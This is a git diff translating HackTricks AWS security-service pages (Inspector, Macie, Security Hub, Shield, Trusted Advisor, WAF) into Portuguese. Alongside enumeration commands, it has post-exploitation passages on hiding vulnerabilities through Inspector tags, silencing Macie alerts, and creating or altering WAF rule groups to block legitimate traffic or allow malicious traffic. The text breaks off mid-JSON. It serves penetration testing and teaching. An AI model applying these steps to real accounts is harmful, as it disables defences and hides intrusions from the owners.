--auto-enable ``` - -- **Potential Impact**: Alter security scan policies and configurations for the organization. +- **Impacto Potencial**: Alterar políticas e configurações de varredura de segurança para a organização. #### `inspector2:TagResource`, `inspector2:UntagResource` -An attacker could manipulate tags on AWS Inspector resources, which are critical for organizing, tracking, and automating security assessments. By altering or removing tags, an attacker could potentially hide vulnerabilities from security scans, disrupt compliance reporting, and interfere with automated remediation processes, leading to unchecked security issues and compromised system integrity. - +Um atacante poderia manipular tags em recursos do AWS Inspector, que são críticos para organizar, rastrear e automatizar avaliações de segurança. Ao alterar ou remover tags, um atacante poderia potencialmente ocultar vulnerabilidades de varreduras de segurança, interromper relatórios de conformidade e interferir em processos de remediação automatizados, levando a problemas de segurança não verificados e comprometendo a integridade do sistema. ```bash aws inspector2 tag-resource --resource-arn --tags aws inspector2 untag-resource --resource-arn --tag-keys ``` +- **Impacto Potencial**: Ocultação de vulnerabilidades, interrupção de relatórios de conformidade, interrupção de automação de segurança e interrupção de alocação de custos. -- **Potential Impact**: Hiding of vulnerabilities, disruption of compliance reporting, disruption of security automation and disruption of cost allocation. - -## References +## Referências - [https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html](https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md index e6e3a2281..beca49d0d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md @@ -6,70 +6,69 @@ ## Macie -Amazon Macie stands out as a service designed to **automatically detect, classify, and identify data** within an AWS account. It leverages **machine learning** to continuously monitor and analyze data, primarily focusing on detecting and alerting against unusual or suspicious activities by examining **cloud trail event** data and user behavior patterns. +Amazon Macie se destaca como um serviço projetado para **detectar, classificar e identificar dados** automaticamente dentro de uma conta AWS. Ele utiliza **aprendizado de máquina** para monitorar e analisar continuamente os dados, focando principalmente na detecção e alerta contra atividades incomuns ou suspeitas, examinando os dados de **eventos de trilha na nuvem** e padrões de comportamento do usuário. -Key Features of Amazon Macie: +Principais Recursos do Amazon Macie: -1. **Active Data Review**: Employs machine learning to review data actively as various actions occur within the AWS account. -2. **Anomaly Detection**: Identifies irregular activities or access patterns, generating alerts to mitigate potential data exposure risks. -3. **Continuous Monitoring**: Automatically monitors and detects new data in Amazon S3, employing machine learning and artificial intelligence to adapt to data access patterns over time. -4. **Data Classification with NLP**: Utilizes natural language processing (NLP) to classify and interpret different data types, assigning risk scores to prioritize findings. -5. **Security Monitoring**: Identifies security-sensitive data, including API keys, secret keys, and personal information, helping to prevent data leaks. +1. **Revisão Ativa de Dados**: Emprega aprendizado de máquina para revisar dados ativamente à medida que várias ações ocorrem dentro da conta AWS. +2. **Detecção de Anomalias**: Identifica atividades ou padrões de acesso irregulares, gerando alertas para mitigar potenciais riscos de exposição de dados. +3. **Monitoramento Contínuo**: Monitora e detecta automaticamente novos dados no Amazon S3, empregando aprendizado de máquina e inteligência artificial para se adaptar aos padrões de acesso aos dados ao longo do tempo. +4. **Classificação de Dados com NLP**: Utiliza processamento de linguagem natural (NLP) para classificar e interpretar diferentes tipos de dados, atribuindo pontuações de risco para priorizar descobertas. +5. **Monitoramento de Segurança**: Identifica dados sensíveis à segurança, incluindo chaves de API, chaves secretas e informações pessoais, ajudando a prevenir vazamentos de dados. -Amazon Macie is a **regional service** and requires the 'AWSMacieServiceCustomerSetupRole' IAM Role and an enabled AWS CloudTrail for functionality. +Amazon Macie é um **serviço regional** e requer o 'AWSMacieServiceCustomerSetupRole' IAM Role e um AWS CloudTrail habilitado para funcionalidade. -### Alert System +### Sistema de Alertas -Macie categorizes alerts into predefined categories like: +Macie categoriza alertas em categorias predefinidas como: -- Anonymized access -- Data compliance -- Credential Loss -- Privilege escalation +- Acesso anonimizado +- Conformidade de dados +- Perda de credenciais +- Escalação de privilégios - Ransomware -- Suspicious access, etc. +- Acesso suspeito, etc. -These alerts provide detailed descriptions and result breakdowns for effective response and resolution. +Esses alertas fornecem descrições detalhadas e desagregações de resultados para uma resposta e resolução eficazes. -### Dashboard Features +### Recursos do Painel -The dashboard categorizes data into various sections, including: +O painel categoriza dados em várias seções, incluindo: -- S3 Objects (by time range, ACL, PII) -- High-risk CloudTrail events/users -- Activity Locations -- CloudTrail user identity types, and more. +- Objetos S3 (por intervalo de tempo, ACL, PII) +- Eventos/usuários de CloudTrail de alto risco +- Locais de Atividade +- Tipos de identidade de usuário do CloudTrail, e mais. -### User Categorization +### Classificação de Usuários -Users are classified into tiers based on the risk level of their API calls: +Os usuários são classificados em níveis com base no nível de risco de suas chamadas de API: -- **Platinum**: High-risk API calls, often with admin privileges. -- **Gold**: Infrastructure-related API calls. -- **Silver**: Medium-risk API calls. -- **Bronze**: Low-risk API calls. +- **Platinum**: Chamadas de API de alto risco, frequentemente com privilégios de administrador. +- **Gold**: Chamadas de API relacionadas à infraestrutura. +- **Silver**: Chamadas de API de risco médio. +- **Bronze**: Chamadas de API de baixo risco. -### Identity Types +### Tipos de Identidade -Identity types include Root, IAM user, Assumed Role, Federated User, AWS Account, and AWS Service, indicating the source of requests. +Os tipos de identidade incluem Root, usuário IAM, Função Assumida, Usuário Federado, Conta AWS e Serviço AWS, indicando a origem das solicitações. -### Data Classification +### Classificação de Dados -Data classification encompasses: +A classificação de dados abrange: -- Content-Type: Based on detected content type. -- File Extension: Based on file extension. -- Theme: Categorized by keywords within files. -- Regex: Categorized based on specific regex patterns. +- Tipo de Conteúdo: Com base no tipo de conteúdo detectado. +- Extensão de Arquivo: Com base na extensão do arquivo. +- Tema: Classificado por palavras-chave dentro dos arquivos. +- Regex: Classificado com base em padrões regex específicos. -The highest risk among these categories determines the file's final risk level. +O maior risco entre essas categorias determina o nível de risco final do arquivo. -### Research and Analysis +### Pesquisa e Análise -Amazon Macie's research function allows for custom queries across all Macie data for in-depth analysis. Filters include CloudTrail Data, S3 Bucket properties, and S3 Objects. Moreover, it supports inviting other accounts to share Amazon Macie, facilitating collaborative data management and security monitoring. - -### Enumeration +A função de pesquisa do Amazon Macie permite consultas personalizadas em todos os dados do Macie para análise aprofundada. Os filtros incluem Dados do CloudTrail, propriedades do Bucket S3 e Objetos S3. Além disso, suporta convidar outras contas para compartilhar o Amazon Macie, facilitando a gestão colaborativa de dados e monitoramento de segurança. +### Enumeração ``` # Get buckets aws macie2 describe-buckets @@ -102,21 +101,16 @@ aws macie2 list-classification-jobs aws macie2 list-classification-scopes aws macie2 list-custom-data-identifiers ``` - -#### Post Exploitation +#### Pós Exploração > [!TIP] -> From an attackers perspective, this service isn't made to detect the attacker, but to detect sensitive information in the stored files. Therefore, this service might **help an attacker to find sensitive info** inside the buckets.\ -> However, maybe an attacker could also be interested in disrupting it in order to prevent the victim from getting alerts and steal that info easier. +> Do ponto de vista de um atacante, este serviço não é feito para detectar o atacante, mas para detectar informações sensíveis nos arquivos armazenados. Portanto, este serviço pode **ajudar um atacante a encontrar informações sensíveis** dentro dos buckets.\ +> No entanto, talvez um atacante também possa estar interessado em interrompê-lo para evitar que a vítima receba alertas e roube essas informações mais facilmente. -TODO: PRs are welcome! +TODO: PRs são bem-vindas! -## References +## Referências - [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md index 36dc8fbe9..b433f9492 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md @@ -4,24 +4,23 @@ ## Security Hub -**Security Hub** collects security **data** from **across AWS accounts**, services, and supported third-party partner products and helps you **analyze your security** trends and identify the highest priority security issues. +**Security Hub** coleta **dados** de segurança de **contas AWS**, serviços e produtos de parceiros de terceiros suportados e ajuda você a **analisar suas tendências de segurança** e identificar os problemas de segurança de maior prioridade. -It **centralizes security related alerts across accounts**, and provides a UI for viewing these. The biggest limitation is it **does not centralize alerts across regions**, only across accounts +Ele **centraliza alertas relacionados à segurança entre contas**, e fornece uma interface para visualizar esses alertas. A maior limitação é que ele **não centraliza alertas entre regiões**, apenas entre contas. -**Characteristics** +**Características** -- Regional (findings don't cross regions) -- Multi-account support -- Findings from: - - Guard Duty - - Config - - Inspector - - Macie - - third party - - self-generated against CIS standards +- Regional (as descobertas não cruzam regiões) +- Suporte a múltiplas contas +- Descobertas de: +- Guard Duty +- Config +- Inspector +- Macie +- terceiros +- auto-geradas contra padrões CIS ## Enumeration - ``` # Get basic info aws securityhub describe-hub @@ -50,10 +49,9 @@ aws securityhub list-automation-rules aws securityhub list-members aws securityhub get-members --account-ids ``` - ## Bypass Detection -TODO, PRs accepted +TODO, PRs aceitos ## References @@ -61,7 +59,3 @@ TODO, PRs accepted - [https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html](https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md index b1df3003b..fa00b499a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md @@ -4,16 +4,12 @@ ## Shield -AWS Shield has been designed to help **protect your infrastructure against distributed denial of service attacks**, commonly known as DDoS. +AWS Shield foi projetado para ajudar a **proteger sua infraestrutura contra ataques de negação de serviço distribuídos**, comumente conhecidos como DDoS. -**AWS Shield Standard** is **free** to everyone, and it offers **DDoS protection** against some of the more common layer three, the **network layer**, and layer four, **transport layer**, DDoS attacks. This protection is integrated with both CloudFront and Route 53. +**AWS Shield Standard** é **gratuito** para todos, e oferece **proteção DDoS** contra alguns dos ataques de camada três, a **camada de rede**, e camada quatro, **camada de transporte**, mais comuns. Essa proteção está integrada tanto com CloudFront quanto com Route 53. -**AWS Shield advanced** offers a **greater level of protection** for DDoS attacks across a wider scope of AWS services for an additional cost. This advanced level offers protection against your web applications running on EC2, CloudFront, ELB and also Route 53. In addition to these additional resource types being protected, there are enhanced levels of DDoS protection offered compared to that of Standard. And you will also have **access to a 24-by-seven specialized DDoS response team at AWS, known as DRT**. +**AWS Shield Advanced** oferece um **maior nível de proteção** para ataques DDoS em um escopo mais amplo de serviços AWS por um custo adicional. Este nível avançado oferece proteção para suas aplicações web que estão rodando em EC2, CloudFront, ELB e também Route 53. Além desses tipos adicionais de recursos sendo protegidos, há níveis aprimorados de proteção DDoS oferecidos em comparação com o Standard. E você também terá **acesso a uma equipe especializada de resposta a DDoS disponível 24 horas por dia, sete dias por semana na AWS, conhecida como DRT**. -Whereas the Standard version of Shield offered protection against layer three and layer four, **Advanced also offers protection against layer seven, application, attacks.** +Enquanto a versão Standard do Shield oferecia proteção contra camada três e camada quatro, **Advanced também oferece proteção contra camada sete, ataques de aplicação.** {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md index a975d7476..b1ad23e6e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md @@ -4,72 +4,68 @@ {{#include ../../../../banners/hacktricks-training.md}} -## AWS Trusted Advisor Overview +## Visão Geral do AWS Trusted Advisor -Trusted Advisor is a service that **provides recommendations** to optimize your AWS account, aligning with **AWS best practices**. It's a service that operates across multiple regions. Trusted Advisor offers insights in four primary categories: +O Trusted Advisor é um serviço que **fornece recomendações** para otimizar sua conta AWS, alinhando-se às **melhores práticas da AWS**. É um serviço que opera em várias regiões. O Trusted Advisor oferece insights em quatro categorias principais: -1. **Cost Optimization:** Suggests how to restructure resources to reduce expenses. -2. **Performance:** Identifies potential performance bottlenecks. -3. **Security:** Scans for vulnerabilities or weak security configurations. -4. **Fault Tolerance:** Recommends practices to enhance service resilience and fault tolerance. +1. **Otimização de Custos:** Sugere como reestruturar recursos para reduzir despesas. +2. **Desempenho:** Identifica possíveis gargalos de desempenho. +3. **Segurança:** Escaneia em busca de vulnerabilidades ou configurações de segurança fracas. +4. **Tolerância a Falhas:** Recomenda práticas para melhorar a resiliência do serviço e a tolerância a falhas. -The comprehensive features of Trusted Advisor are exclusively accessible with **AWS business or enterprise support plans**. Without these plans, access is limited to **six core checks**, primarily focused on performance and security. +Os recursos abrangentes do Trusted Advisor estão acessíveis exclusivamente com **planos de suporte empresarial ou de negócios da AWS**. Sem esses planos, o acesso é limitado a **seis verificações principais**, focadas principalmente em desempenho e segurança. -### Notifications and Data Refresh +### Notificações e Atualização de Dados -- Trusted Advisor can issue alerts. -- Items can be excluded from its checks. -- Data is refreshed every 24 hours. However, a manual refresh is possible 5 minutes after the last refresh. +- O Trusted Advisor pode emitir alertas. +- Itens podem ser excluídos de suas verificações. +- Os dados são atualizados a cada 24 horas. No entanto, uma atualização manual é possível 5 minutos após a última atualização. -### **Checks Breakdown** +### **Divisão de Verificações** -#### CategoriesCore +#### Categorias Principais -1. Cost Optimization -2. Security -3. Fault Tolerance -4. Performance -5. Service Limits -6. S3 Bucket Permissions +1. Otimização de Custos +2. Segurança +3. Tolerância a Falhas +4. Desempenho +5. Limites de Serviço +6. Permissões de Bucket S3 -#### Core Checks +#### Verificações Principais -Limited to users without business or enterprise support plans: +Limitadas a usuários sem planos de suporte empresarial ou de negócios: -1. Security Groups - Specific Ports Unrestricted -2. IAM Use -3. MFA on Root Account -4. EBS Public Snapshots -5. RDS Public Snapshots -6. Service Limits +1. Grupos de Segurança - Portas Específicas Sem Restrições +2. Uso de IAM +3. MFA na Conta Raiz +4. Snapshots Públicos de EBS +5. Snapshots Públicos de RDS +6. Limites de Serviço -#### Security Checks +#### Verificações de Segurança -A list of checks primarily focusing on identifying and rectifying security threats: +Uma lista de verificações focadas principalmente em identificar e corrigir ameaças à segurança: -- Security group settings for high-risk ports -- Security group unrestricted access -- Open write/list access to S3 buckets -- MFA enabled on root account -- RDS security group permissiveness -- CloudTrail usage -- SPF records for Route 53 MX records -- HTTPS configuration on ELBs -- Security groups for ELBs -- Certificate checks for CloudFront -- IAM access key rotation (90 days) -- Exposure of access keys (e.g., on GitHub) -- Public visibility of EBS or RDS snapshots -- Weak or absent IAM password policies +- Configurações de grupo de segurança para portas de alto risco +- Acesso irrestrito a grupos de segurança +- Acesso de escrita/lista aberto a buckets S3 +- MFA habilitado na conta raiz +- Permissividade do grupo de segurança do RDS +- Uso do CloudTrail +- Registros SPF para registros MX do Route 53 +- Configuração HTTPS em ELBs +- Grupos de segurança para ELBs +- Verificações de certificado para CloudFront +- Rotação de chaves de acesso IAM (90 dias) +- Exposição de chaves de acesso (por exemplo, no GitHub) +- Visibilidade pública de snapshots de EBS ou RDS +- Políticas de senha IAM fracas ou ausentes -AWS Trusted Advisor acts as a crucial tool in ensuring the optimization, performance, security, and fault tolerance of AWS services based on established best practices. +O AWS Trusted Advisor atua como uma ferramenta crucial para garantir a otimização, desempenho, segurança e tolerância a falhas dos serviços AWS com base nas melhores práticas estabelecidas. -## **References** +## **Referências** - [https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor](https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md index 661b836d5..b9f2315b3 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md @@ -6,103 +6,102 @@ ## AWS WAF -AWS WAF is a **web application firewall** designed to **safeguard web applications or APIs** against various web exploits which may impact their availability, security, or resource consumption. It empowers users to control incoming traffic by setting up **security rules** that mitigate typical attack vectors like SQL injection or cross-site scripting and also by defining custom filtering rules. +AWS WAF é um **firewall de aplicação web** projetado para **proteger aplicações web ou APIs** contra várias explorações web que podem impactar sua disponibilidade, segurança ou consumo de recursos. Ele capacita os usuários a controlar o tráfego de entrada configurando **regras de segurança** que mitigam vetores de ataque típicos, como injeção de SQL ou script entre sites, e também definindo regras de filtragem personalizadas. -### Key concepts +### Conceitos-chave -#### Web ACL (Access Control List) +#### Web ACL (Lista de Controle de Acesso) -A Web ACL is a collection of rules that you can apply to your web applications or APIs. When you associate a Web ACL with a resource, AWS WAF inspects incoming requests based on the rules defined in the Web ACL and takes the specified actions. +Uma Web ACL é uma coleção de regras que você pode aplicar às suas aplicações web ou APIs. Quando você associa uma Web ACL a um recurso, o AWS WAF inspeciona as solicitações de entrada com base nas regras definidas na Web ACL e toma as ações especificadas. -#### Rule Group +#### Grupo de Regras -A Rule Group is a reusable collection of rules that you can apply to multiple Web ACLs. Rule groups help manage and maintain consistent rule sets across different web applications or APIs. +Um Grupo de Regras é uma coleção reutilizável de regras que você pode aplicar a várias Web ACLs. Os grupos de regras ajudam a gerenciar e manter conjuntos de regras consistentes em diferentes aplicações web ou APIs. -Each rule group has its associated **capacity**, which helps to calculate and control the operating resources that are used to run your rules, rule groups, and web ACLs. Once its value is set during creation, it is not possible to modify it. +Cada grupo de regras tem sua **capacidade** associada, que ajuda a calcular e controlar os recursos operacionais usados para executar suas regras, grupos de regras e Web ACLs. Uma vez que seu valor é definido durante a criação, não é possível modificá-lo. -#### Rule +#### Regra -A rule defines a set of conditions that AWS WAF uses to inspect incoming web requests. There are two main types of rules: +Uma regra define um conjunto de condições que o AWS WAF usa para inspecionar as solicitações web de entrada. Existem dois tipos principais de regras: -1. **Regular Rule**: This rule type uses specified conditions to determine whether to allow, block, or count web requests. -2. **Rate-Based Rule**: Counts requests from a specific IP address over a five-minute period. Here, users define a threshold, and if the number of requests from an IP exceeds this limit within five minutes, subsequent requests from that IP are blocked until the request rate drops below the threshold. The minimum threshold for rate-based rules is **2000 requests**. +1. **Regra Regular**: Este tipo de regra usa condições especificadas para determinar se deve permitir, bloquear ou contar solicitações web. +2. **Regra Baseada em Taxa**: Conta solicitações de um endereço IP específico durante um período de cinco minutos. Aqui, os usuários definem um limite, e se o número de solicitações de um IP exceder esse limite dentro de cinco minutos, as solicitações subsequentes desse IP são bloqueadas até que a taxa de solicitações caia abaixo do limite. O limite mínimo para regras baseadas em taxa é **2000 solicitações**. -#### Managed Rules +#### Regras Gerenciadas -AWS WAF offers pre-configured, managed rule sets that are maintained by AWS and AWS Marketplace sellers. These rule sets provide protection against common threats and are regularly updated to address new vulnerabilities. +O AWS WAF oferece conjuntos de regras gerenciadas pré-configurados que são mantidos pela AWS e vendedores do AWS Marketplace. Esses conjuntos de regras fornecem proteção contra ameaças comuns e são atualizados regularmente para abordar novas vulnerabilidades. -#### IP Set +#### Conjunto de IP -An IP Set is a list of IP addresses or IP address ranges that you want to allow or block. IP sets simplify the process of managing IP-based rules. +Um Conjunto de IP é uma lista de endereços IP ou intervalos de endereços IP que você deseja permitir ou bloquear. Conjuntos de IP simplificam o processo de gerenciamento de regras baseadas em IP. -#### Regex Pattern Set +#### Conjunto de Padrões Regex -A Regex Pattern Set contains one or more regular expressions (regex) that define patterns to search for in web requests. This is useful for more complex matching scenarios, such as filtering specific sequences of characters. +Um Conjunto de Padrões Regex contém uma ou mais expressões regulares (regex) que definem padrões a serem buscados em solicitações web. Isso é útil para cenários de correspondência mais complexos, como filtrar sequências específicas de caracteres. -#### Lock Token +#### Token de Bloqueio -A Lock Token is used for concurrency control when making updates to WAF resources. It ensures that changes are not accidentally overwritten by multiple users or processes attempting to update the same resource simultaneously. +Um Token de Bloqueio é usado para controle de concorrência ao fazer atualizações nos recursos do WAF. Ele garante que as alterações não sejam acidentalmente sobrescritas por vários usuários ou processos que tentam atualizar o mesmo recurso simultaneamente. -#### API Keys +#### Chaves de API -API Keys in AWS WAF are used to authenticate requests to certain API operations. These keys are encrypted and managed securely to control access and ensure that only authorized users can make changes to WAF configurations. +As Chaves de API no AWS WAF são usadas para autenticar solicitações a certas operações de API. Essas chaves são criptografadas e gerenciadas de forma segura para controlar o acesso e garantir que apenas usuários autorizados possam fazer alterações nas configurações do WAF. -- **Example**: Integration of the CAPTCHA API. +- **Exemplo**: Integração da API CAPTCHA. -#### Permission Policy +#### Política de Permissão -A Permission Policy is an IAM policy that specifies who can perform actions on AWS WAF resources. By defining permissions, you can control access to WAF resources and ensure that only authorized users can create, update, or delete configurations. +Uma Política de Permissão é uma política IAM que especifica quem pode realizar ações nos recursos do AWS WAF. Ao definir permissões, você pode controlar o acesso aos recursos do WAF e garantir que apenas usuários autorizados possam criar, atualizar ou excluir configurações. -#### Scope +#### Escopo -The scope parameter in AWS WAF specifies whether the WAF rules and configurations apply to a regional application or an Amazon CloudFront distribution. +O parâmetro de escopo no AWS WAF especifica se as regras e configurações do WAF se aplicam a uma aplicação regional ou a uma distribuição Amazon CloudFront. -- **REGIONAL**: Applies to regional services such as Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito user pool, AWS App Runner service and AWS Verified Access instance. You specify the AWS region where these resources are located. -- **CLOUDFRONT**: Applies to Amazon CloudFront distributions, which are global. WAF configurations for CloudFront are managed through the `us-east-1` region regardless of where the content is served. +- **REGIONAL**: Aplica-se a serviços regionais, como Balanceadores de Carga de Aplicação (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, pool de usuários do Amazon Cognito, serviço AWS App Runner e instância AWS Verified Access. Você especifica a região AWS onde esses recursos estão localizados. +- **CLOUDFRONT**: Aplica-se a distribuições Amazon CloudFront, que são globais. As configurações do WAF para CloudFront são gerenciadas através da região `us-east-1`, independentemente de onde o conteúdo é servido. -### Key features +### Recursos principais -#### Monitoring Criteria (Conditions) +#### Critérios de Monitoramento (Condições) -**Conditions** specify the elements of incoming HTTP/HTTPS requests that AWS WAF monitors, which include XSS, geographical location (GEO), IP addresses, Size constraints, SQL Injection, and patterns (strings and regex matching). It's important to note that **requests restricted at the CloudFront level based on country won't reach WAF**. +**Condições** especificam os elementos das solicitações HTTP/HTTPS de entrada que o AWS WAF monitora, que incluem XSS, localização geográfica (GEO), endereços IP, restrições de tamanho, injeção de SQL e padrões (strings e correspondência regex). É importante notar que **solicitações restritas no nível do CloudFront com base no país não chegarão ao WAF**. -Each AWS account can configure: +Cada conta AWS pode configurar: -- **100 conditions** for each type (except for Regex, where only **10 conditions** are allowed, but this limit can be increased). -- **100 rules** and **50 Web ACLs**. -- A maximum of **5 rate-based rules**. -- A throughput of **10,000 requests per second** when WAF is implemented with an application load balancer. +- **100 condições** para cada tipo (exceto para Regex, onde apenas **10 condições** são permitidas, mas esse limite pode ser aumentado). +- **100 regras** e **50 Web ACLs**. +- Um máximo de **5 regras baseadas em taxa**. +- Um throughput de **10.000 solicitações por segundo** quando o WAF é implementado com um balanceador de carga de aplicação. -#### Rule actions +#### Ações de regra -Actions are assigned to each rule, with options being: +Ações são atribuídas a cada regra, com as opções sendo: -- **Allow**: The request is forwarded to the appropriate CloudFront distribution or Application Load Balancer. -- **Block**: The request is terminated immediately. -- **Count**: Tallies the requests meeting the rule's conditions. This is useful for rule testing, confirming the rule's accuracy before setting it to Allow or Block. -- **CAPTCHA and Challenge:** It is verified that the request does not come from a bot using CAPTCHA puzzles and silent challenges. +- **Permitir**: A solicitação é encaminhada para a distribuição CloudFront ou Balanceador de Carga de Aplicação apropriado. +- **Bloquear**: A solicitação é encerrada imediatamente. +- **Contar**: Conta as solicitações que atendem às condições da regra. Isso é útil para teste de regras, confirmando a precisão da regra antes de defini-la como Permitir ou Bloquear. +- **CAPTCHA e Desafio:** É verificado se a solicitação não vem de um bot usando quebra-cabeças CAPTCHA e desafios silenciosos. -If a request doesn't match any rule within the Web ACL, it undergoes the **default action** (Allow or Block). The order of rule execution, defined within a Web ACL, is crucial and typically follows this sequence: +Se uma solicitação não corresponder a nenhuma regra dentro da Web ACL, ela passa pela **ação padrão** (Permitir ou Bloquear). A ordem de execução das regras, definida dentro de uma Web ACL, é crucial e geralmente segue esta sequência: -1. Allow Whitelisted IPs. -2. Block Blacklisted IPs. -3. Block requests matching any detrimental signatures. +1. Permitir IPs na lista branca. +2. Bloquear IPs na lista negra. +3. Bloquear solicitações que correspondam a quaisquer assinaturas prejudiciais. -#### CloudWatch Integration +#### Integração com CloudWatch -AWS WAF integrates with CloudWatch for monitoring, offering metrics like AllowedRequests, BlockedRequests, CountedRequests, and PassedRequests. These metrics are reported every minute by default and retained for a period of two weeks. +O AWS WAF se integra ao CloudWatch para monitoramento, oferecendo métricas como AllowedRequests, BlockedRequests, CountedRequests e PassedRequests. Essas métricas são relatadas a cada minuto por padrão e retidas por um período de duas semanas. -### Enumeration +### Enumeração -In order to interact with CloudFront distributions, you must specify the Region US East (N. Virginia): +Para interagir com distribuições CloudFront, você deve especificar a Região US East (N. Virginia): -- CLI - Specify the Region US East when you use the CloudFront scope: `--scope CLOUDFRONT --region=us-east-1` . -- API and SDKs - For all calls, use the Region endpoint us-east-1. +- CLI - Especifique a Região US East ao usar o escopo CloudFront: `--scope CLOUDFRONT --region=us-east-1`. +- API e SDKs - Para todas as chamadas, use o endpoint da Região us-east-1. -In order to interact with regional services, you should specify the region: - -- Example with the region Europe (Spain): `--scope REGIONAL --region=eu-south-2` +Para interagir com serviços regionais, você deve especificar a região: +- Exemplo com a região Europa (Espanha): `--scope REGIONAL --region=eu-south-2` ```bash # Web ACLs # @@ -146,7 +145,7 @@ aws wafv2 list-ip-sets --scope | CLOUDFRONT --region= aws wafv2 get-ip-set --name --id --scope | CLOUDFRONT --region=us-east-1> ## Retrieve the keys that are currently being managed by a rate-based rule. aws wafv2 get-rate-based-statement-managed-keys --scope | CLOUDFRONT --region=us-east-1>\ - --web-acl-name --web-acl-id --rule-name [--rule-group-rule-name ] +--web-acl-name --web-acl-id --rule-name [--rule-group-rule-name ] # Regex pattern sets # @@ -186,78 +185,70 @@ aws wafv2 list-mobile-sdk-releases --platform aws wafv2 get-mobile-sdk-release --platform --release-version ``` - -### Post Exploitation / Bypass +### Pós Exploração / Bypass > [!TIP] -> From an attackers perspective, this service can help the attacker to identify WAF protections and network exposures that could help him to compromise other webs. +> Do ponto de vista de um atacante, este serviço pode ajudar o atacante a identificar proteções WAF e exposições de rede que poderiam ajudá-lo a comprometer outros sites. > -> However, an attacker could also be interested in disrupting this service so the webs aren't protected by the WAF. +> No entanto, um atacante também poderia estar interessado em interromper este serviço para que os sites não sejam protegidos pelo WAF. -In many of the Delete and Update operations it would be necessary to provide the **lock token**. This token is used for concurrency control over the resources, ensuring that changes are not accidentally overwritten by multiple users or processes attempting to update the same resource simultaneously. In order to obtain this token you could perform the correspondent **list** or **get** operations over the specific resource. +Em muitas das operações de Delete e Update, seria necessário fornecer o **lock token**. Este token é usado para controle de concorrência sobre os recursos, garantindo que as alterações não sejam acidentalmente sobrescritas por múltiplos usuários ou processos tentando atualizar o mesmo recurso simultaneamente. Para obter este token, você poderia realizar as operações correspondentes de **list** ou **get** sobre o recurso específico. #### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`** -An attacker would be able to compromise the security of the affected resource by: - -- Creating rule groups that could, for instance, block legitimate traffic from legitimate IP addresses, causing a denial of service. -- Updating rule groups, being able to modify its actions for example from **Block** to **Allow**. -- Deleting rule groups that provide critical security measures. +Um atacante seria capaz de comprometer a segurança do recurso afetado ao: +- Criar grupos de regras que poderiam, por exemplo, bloquear tráfego legítimo de endereços IP legítimos, causando uma negação de serviço. +- Atualizar grupos de regras, podendo modificar suas ações, por exemplo, de **Block** para **Allow**. +- Deletar grupos de regras que fornecem medidas de segurança críticas. ```bash # Create Rule Group aws wafv2 create-rule-group --name --capacity --visibility-config \ --scope | CLOUDFRONT --region=us-east-1> [--rules ] [--description ] # Update Rule Group aws wafv2 update-rule-group --name --id --visibility-config --lock-token \ - --scope | CLOUDFRONT --region=us-east-1> [--rules ] [--description ] +--scope | CLOUDFRONT --region=us-east-1> [--rules ] [--description ] # Delete Rule Group aws wafv2 delete-rule-group --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` - -The following examples shows a rule group that would block legitimate traffic from specific IP addresses: - +Os seguintes exemplos mostram um grupo de regras que bloquearia tráfego legítimo de endereços IP específicos: ```bash aws wafv2 create-rule-group --name BlockLegitimateIPsRuleGroup --capacity 1 --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=BlockLegitimateIPsRuleGroup --scope CLOUDFRONT --region us-east-1 --rules file://rule.json ``` - -The **rule.json** file would look like: - +O arquivo **rule.json** teria a seguinte aparência: ```json [ - { - "Name": "BlockLegitimateIPsRule", - 